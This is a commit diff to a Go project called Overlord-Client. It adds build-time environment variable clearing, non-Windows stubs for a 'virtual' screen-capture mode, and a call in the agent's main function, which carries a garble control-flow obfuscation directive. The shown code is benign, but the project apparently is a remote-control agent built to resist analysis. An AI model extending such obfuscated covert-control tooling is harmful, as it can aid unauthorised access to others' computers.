fix this other shit and improve building

Overlord-Client/cmd/agent/builder_environment.go

@@ -0,0 +1,17 @@
+//go:build builder_release
+
+package main
+
+import (
+	"os"
+	"strings"
+)
+
+func sanitizeBuilderEnvironment() {
+	for _, entry := range os.Environ() {
+		name, _, ok := strings.Cut(entry, "=")
+		if ok && strings.HasPrefix(strings.ToUpper(name), "OVERLORD_") {
+			_ = os.Unsetenv(name)
+		}
+	}
+}

Overlord-Client/cmd/agent/builder_environment_dev.go

@@ -0,0 +1,5 @@
+//go:build !builder_release
+
+package main
+
+func sanitizeBuilderEnvironment() {}

Overlord-Client/cmd/agent/capture/virtual_stub.go

@@ -2,7 +2,15 @@
 
 package capture
 
-import "image"
+import (
+	"errors"
+	"image"
+	"time"
+
+	"overlord-client/cmd/agent/wire"
+)
+
+var errVirtualCaptureUnsupported = errors.New("virtual capture is only supported on Windows")
 
 func InitializevirtualMode() error {
 	return nil
@@ -16,6 +24,28 @@ func VirtualMonitorCount() int {
 	return 0
 }
 
+func VirtualTryDirectH264Frame() (wire.Frame, time.Duration, time.Duration, bool, error) {
+	return wire.Frame{}, 0, 0, false, nil
+}
+
+func VirtualCaptureNormal() (*image.RGBA, error) {
+	return nil, errVirtualCaptureUnsupported
+}
+
+func VirtualCaptureDisplay() (*image.RGBA, error) {
+	return nil, errVirtualCaptureUnsupported
+}
+
+func VirtualCaptureGDI() (*image.RGBA, error) {
+	return nil, errVirtualCaptureUnsupported
+}
+
+func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
+	return nil, errVirtualCaptureUnsupported
+}
+
+func VirtualResetDXGI() {}
+
 func virtualCaptureDisplay() (*image.RGBA, error) {
 	return nil, nil
 }

Overlord-Client/cmd/agent/main.go

@@ -12,6 +12,7 @@ import (
 
 func main() {
 	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
+	sanitizeBuilderEnvironment()
 	installHardCrashReporter()
 	cfg := config.Load()